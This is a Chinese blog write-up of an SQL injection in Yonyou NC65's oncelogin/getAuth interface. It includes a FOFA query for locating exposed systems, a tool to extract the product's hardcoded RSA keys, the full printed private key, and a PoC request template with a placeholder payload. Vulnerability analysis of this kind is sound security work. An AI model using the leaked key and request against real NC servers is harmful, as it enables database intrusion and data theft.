漏洞简介
用友NC系统的 oncelogin/getAuth 接口存在 SQL注入漏洞。攻击者可通过构造恶意的 SQL 语句注入请求参数,绕过身份验证或获取数据库敏感信息,进而可能导致任意数据读取、篡改甚至系统权限提升,影响系统的安全性和数据完整性。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析

直接看OnceLoginAction类的getAuth方法的实现逻辑吧
@Servlet(path="/oncelogin")
public class OnceLoginAction
extends BaseAction {
....
@Action
public void getAuth() throws BusinessException {
String key = "serverPathOK";
JSONObject jsonRoot = this.buidJSON(key, null);
String param = this.request.getParameter("param");
param = RSACrypto.getInstance().decipher(param);
String user_code = null;
if (param.contains("user_code")) {
user_code = param.substring(param.indexOf("user_code=") + 10, param.indexOf("&"));
}
if (StringUtils.isEmpty(user_code)) {
return;
}
String serverPathOK = "";
String path = CommonUtils.getServerPath();
PersonsynVO ps = ((IPersonsynQueryService)NCLocator.getInstance().lookup(IPersonsynQueryService.class)).queryPersonsynByImUserName(user_code);
参数param首先需要经过RSACrypto.getInstance().decipher解密,跟进RSA的decipher方法看下
RSA加解密
public String decipher(String content) {
InputStream fis = null;
ObjectInputStream ois = null;
try {
if (content == null || content.equals("")) {
String string = null;
return string;
}
byte[] base64Code = Base64.decodeBase64((byte[])content.getBytes("UTF-8"));
BigInteger c = new BigInteger(base64Code);
fis = RSACrypto.class.getResourceAsStream("Skey_RSA_PRIV.dat");
ois = new ObjectInputStream(fis);
RSAPrivateKey prk = (RSAPrivateKey)ois.readObject();
BigInteger d = prk.getPrivateExponent();
BigInteger n = prk.getModulus();
BigInteger m = c.modPow(d, n);
String string = new String(m.toByteArray(), "UTF-8");
return string;
}
根据代码的ObjectInputStream可知:
Skey_RSA_PRIV.dat文件里存储的是一个RSAPrivateKey对象的序列化结果。- 可以通过Java反序列化直接还原出
RSAPrivateKey对象。
现在是去找到这个序列化的私钥,然后还原成我们常见的证书格式如-----BEGIN PRIVATE KEY-----这种,根据decipher的方法包路径 /nc/bs/oa/oaco/im/RSACrypto.java 直接在用友 /modules/oaco/lib 目录下的 puboaco_instantmessage.jar 包找到了 Skey_RSA_PRIV.dat 和 Skey_RSA_PUB.dat

查看下内容,果然是序列化的对象

ok,找到了,我们让AI写一个Java来还原
import java.io.*;
import java.security.Key;
import java.util.Base64;
public class NC_RSA_KEY_CONVERT {
public static void main(String[] args) {
String filename = "Skey_RSA_PUB.dat";
if (args.length > 0 && args[0] != null && !args[0].trim().isEmpty()) {
filename = args[0];
}
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
Object obj = ois.readObject();
if (obj instanceof Key) {
Key key = (Key) obj;
System.out.println("算法名 (Algorithm): " + key.getAlgorithm());
System.out.println("编码格式 (Format): " + key.getFormat());
System.out.println("类型 (Type): " + key.getClass().getSimpleName());
byte[] encoded = key.getEncoded();
// 输出PEM格式
String base64 = Base64.getEncoder().encodeToString(encoded);
String type = getPemType(filename);
System.out.println("\n-----BEGIN " + type + " KEY-----");
printPem(base64);
System.out.println("-----END " + type + " KEY-----");
} else {
System.out.println("不是Key类型,实际类型是: " + obj.getClass().getName());
}
} catch (Exception e) {
System.err.println("读取或解析失败: " + e);
e.printStackTrace();
}
}
private static String getPemType(String filename) {
String upper = filename.toUpperCase();
if (upper.contains("PUB")) {
return "PUBLIC";
} else if (upper.contains("PRIV")) {
return "PRIVATE";
} else {
return "";
}
}
private static void printHex(byte[] data) {
for (int i = 0; i < data.length; i++) {
System.out.printf("%02X", data[i]);
if ((i + 1) % 16 == 0) System.out.println();
else System.out.print(" ");
}
System.out.println();
}
private static void printPem(String base64) {
int lineLen = 64;
for (int i = 0; i < base64.length(); i += lineLen) {
int end = Math.min(i + lineLen, base64.length());
System.out.println(base64.substring(i, end));
}
}
}
然后 javac NC_RSA_KEY_CONVERT.java 编译,再执行 java NC_RSA_KEY_CONVERT Skey_RSA_PRIV.dat 即可得到常见rsa证书格式
tmp# java NC_RSA_KEY_CONVERT Skey_RSA_PRIV.dat
算法名 (Algorithm): RSA
编码格式 (Format): PKCS#8
类型 (Type): RSAPrivateCrtKeyImpl
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJfmPzz4SmfMMNcG
WX3J4EyBrAsB33rTQ/JmFFWac34Y2Irrvfd8qRrcseJwFlIGGjg3lCerpHGPy4P4
BN4Wpzj4mHBycgvjRkmb8omVqnpZBtv1Lr3tuTrOIV4oeXI/93/8IbbU4VScPX6X
S6pZpKoYhl4u2hbiTxsnc+Rjh+eXAgMBAAECgYEAlhr+5QZLqNUccnCg4PAsyg3e
cKYyLNM3MwPzFkDh3ns5Cdc6S6YSCiyLUMQJGpdTM7ignK8+esZpjAj87mceaWVR
y+or+9uBwzaWaJCf6FRKzFFapekLhzRuWT4OiqwG5bPpf9hogVMKf4DXg+FIzgTt
kHM9VcYLhWwvifULFbkCQQDJrHyuVsfXAVlKffTZIVBnD+ykfTzFXwTgVWuqwVQy
mSsbzULbcsOkR1F4mmecdkz4uPmezjNuSsBAizgbVy4FAkEAwNFMC7OM2JhJRLFs
TGYXFdEQWkyLCX2VfWL31G8sEBsG6x/YXajbPrHvhVo6N6Z6gs2/QRawDGs+G0DE
I6VV6wJBAMPsIiRsgjBKSyinPRtD1gyJ1+flEwjbyqz1z2dP8jBFxS95NZ5j29TY
xDlaJ5ZFB3oKmdbBlA1t6V/K4HMPOtECQHWbs8y3WcOLL7WMmsgGxTHzcQwDABNr
3FC8mvmiTbgNJC0qIWkPY5tcIQKvxC7JhpReNrfWxM7uYtVwrbIoWL0CQCdyASkB
HbmomKnm+gyixwsD2j6uMpliQ3//ZjJWLo7IVzk6OrQFCOjcE91IB+BLo014h1Ro
P6/ZCPAeaFCVlAg=
-----END PRIVATE KEY-----
以及公钥(我们加密需要)
tmp# java NC_RSA_KEY_CONVERT Skey_RSA_PUB.dat
算法名 (Algorithm): RSA
编码格式 (Format): X.509
类型 (Type): RSAPublicKeyImpl
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCX5j88+EpnzDDXBll9yeBMgawL
Ad9600PyZhRVmnN+GNiK6733fKka3LHicBZSBho4N5Qnq6Rxj8uD+ATeFqc4+Jhw
cnIL40ZJm/KJlap6WQbb9S697bk6ziFeKHlyP/d//CG21OFUnD1+l0uqWaSqGIZe
LtoW4k8bJ3PkY4fnlwIDAQAB
-----END PUBLIC KEY-----
继续往下看
SQL注入
String user_code = null;
if (param.contains("user_code")) {
user_code = param.substring(param.indexOf("user_code=") + 10, param.indexOf("&"));
}
if (StringUtils.isEmpty(user_code)) {
return;
}
String serverPathOK = "";
String path = CommonUtils.getServerPath();
PersonsynVO ps = ((IPersonsynQueryService)NCLocator.getInstance().lookup(IPersonsynQueryService.class)).queryPersonsynByImUserName(user_code);
参数param值经过解密后,判断是否包含user_code,如果不包含就会直接退出,否则提取user_code=后至&之间的内容带入queryPersonsynByImUserName方法,跟进queryPersonsynByImUserName方法看下它的实现
public PersonsynVO queryPersonsynByImUserName(String imUserName) throws BusinessException {
String whereCondStr = "imname='" + imUserName + "'";
Collection personsyns = this.getOaQueryService().queryBillOfVOByCond(PersonsynVO.class, whereCondStr, true);
if (personsyns != null && personsyns.size() > 0 && personsyns.iterator().hasNext()) {
return (PersonsynVO)personsyns.iterator().next();
}
return null;
}
到这里,整个漏洞形成原因也就明了了,参数param值经过解密后提取user_code=后至&之间的内容被直接拼接在imname=' 后面,无任何过滤或校验,因此造成了SQL注入漏洞。
漏洞复现
需注意NC65 大多数为Oracle 少数MSSQL
将payload使用rsa公钥加密

出击!
POST /portal/pt/oncelogin/getAuth?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded
param=RSA_ENC_SQLI_POC

通过报错注入成功在响应回显当前数据库用户!
PS: 也属于老洞了,其实在年初就检测到有此漏洞攻击,一直懒 没看-_- 不过官方发公告了,那我也就浅析下。
其他用友相关漏洞分析:https://mrxn.net/?keyword=%E7%94%A8%E5%8F%8B


